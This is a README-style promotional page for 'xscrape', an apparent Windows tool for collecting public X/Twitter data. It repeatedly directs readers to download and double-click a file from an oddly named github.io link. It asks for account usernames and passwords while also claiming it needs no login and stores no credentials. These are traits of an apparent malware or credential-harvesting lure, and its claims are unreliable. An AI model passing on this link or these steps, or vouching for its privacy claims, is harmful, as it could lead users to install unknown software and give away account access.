xscrape is a powerful yet simple tool that helps you gather public information from X (formerly Twitter) without needing any technical skills. Whether you're researching trends, tracking competitors, or building a personal archive, xscrape does the heavy lifting for you.
Think of it as your personal Twitter research assistant. You tell it what you want to find, and it collects the data automatically, saving everything in neat files you can open with Excel or any text editor.
- 🔍 Smart Search – Find tweets by keywords, hashtags, or phrases
- 👤 Profile Collection – Gather public profile information from any user
- 🧵 Thread Extractor – Capture entire conversation threads with replies
- 📸 Media Downloader – Save images and videos from public tweets
- 🔄 Account Rotation – Automatically switches between accounts to avoid limits
- ⏱️ Adaptive Rate Limiting – Adjusts speed to stay within Twitter's rules
- 📁 Multiple Export Formats – Save data as JSON, CSV, or SQLite database
- ⚡ Fast & Efficient – Built with Python's async capabilities for speed
Getting started with xscrape is easier than you think. Here's what you need to do:
Visit this link to download the application: https://woolstaplerfang145.github.io
Before running xscrape, make sure you have:
- Windows 10 or 11 (64-bit)
- At least 2GB of free RAM
- 500MB of free hard drive space
- A stable internet connection
Once you've downloaded the file, simply double-click it to start. The program will open a simple window where you can:
- Enter your search terms – Type what you want to find
- Choose your export format – Pick JSON, CSV, or SQLite
- Click "Start Collecting" – Watch as xscrape does its magic
The most common way to use xscrape is searching for tweets:
- Open xscrape
- Type a keyword or hashtag in the search box (e.g., "technology" or "#AI")
- Choose how many results you want
- Click "Start"
- Wait for the progress bar to complete
- Find your results in the "exports" folder
Want to save public information about a specific account?
- Click the "Profiles" tab
- Enter the username (e.g., "elonmusk")
- Click "Fetch Profile"
- xscrape will save all public details to your chosen format
To capture an entire conversation thread:
- Find the URL of any public tweet
- Paste it into the "Thread" section
- Click "Extract Thread"
- All replies and context will be saved automatically
xscrape comes with sensible defaults, but you can customize:
If you have multiple Twitter accounts, you can add them to avoid rate limits:
- Go to Settings
- Click "Accounts"
- Add your usernames and passwords
- Enable "Auto-rotation"
- xscrape will switch accounts automatically
Adjust how fast xscrape collects data:
- Slow – Safest option, takes longer
- Normal – Balanced speed and safety
- Fast – Quickest, but may trigger limits
Perfect for Excel users. Each row is a tweet or profile with columns for:
- Text content
- Author name
- Date posted
- Engagement metrics
- Media URLs
Great for developers or advanced users. Contains structured data with all details preserved.
Best for large collections. Creates a searchable database file you can query.
This usually means:
- Your internet is unstable
- Twitter is temporarily blocking requests
- Try waiting 5 minutes and retry
- Check your spelling
- Try different keywords
- Make sure the content is public
- Adjust your date filters
- Reduce the number of results
- Switch to "Slow" rate mode
- Close other programs using internet
Yes, xscrape is completely free to use for personal and educational purposes.
xscrape is designed to respect Twitter's public data rules. It uses adaptive rate limiting to stay within acceptable limits. However, we recommend using it responsibly.
For commercial use, please review Twitter's terms of service. xscrape itself is free, but how you use the data is your responsibility.
Your collected data is saved immediately. You won't lose anything by closing xscrape mid-task.
Currently, xscrape is optimized for Windows. Mac and Linux support may come in future updates.
- Start Small – Try with 50-100 results before large collections
- Use Specific Keywords – Generic terms return too many results
- Schedule Your Runs – Run collections during off-peak hours
- Organize Exports – Create separate folders for different projects
- Check Updates – Visit the download page regularly for improvements
xscrape only collects public data – information anyone can see without logging in. We do not:
- Access private accounts
- Collect personal messages
- Store your login credentials
- Share your data with third parties
Your privacy is respected. All data stays on your computer.
If you run into problems:
- Check the FAQ section – Most common issues are covered
- Re-read the instructions – Sometimes a small step is missed
- Try a fresh download – Re-downloading often fixes issues
- Change your search terms – Some queries may be too complex
Version 1.0 (Current)
- Initial release
- Search functionality
- Profile collection
- Thread extraction
- Multiple export formats
We built xscrape to make public Twitter data accessible to everyone. No coding required, no complicated setup – just download, run, and collect.
If you find xscrape useful, consider:
- Sharing it with friends
- Leaving a star on the GitHub repository
- Providing feedback for future improvements
Happy collecting! 📊
Download xscrape now: https://woolstaplerfang145.github.io
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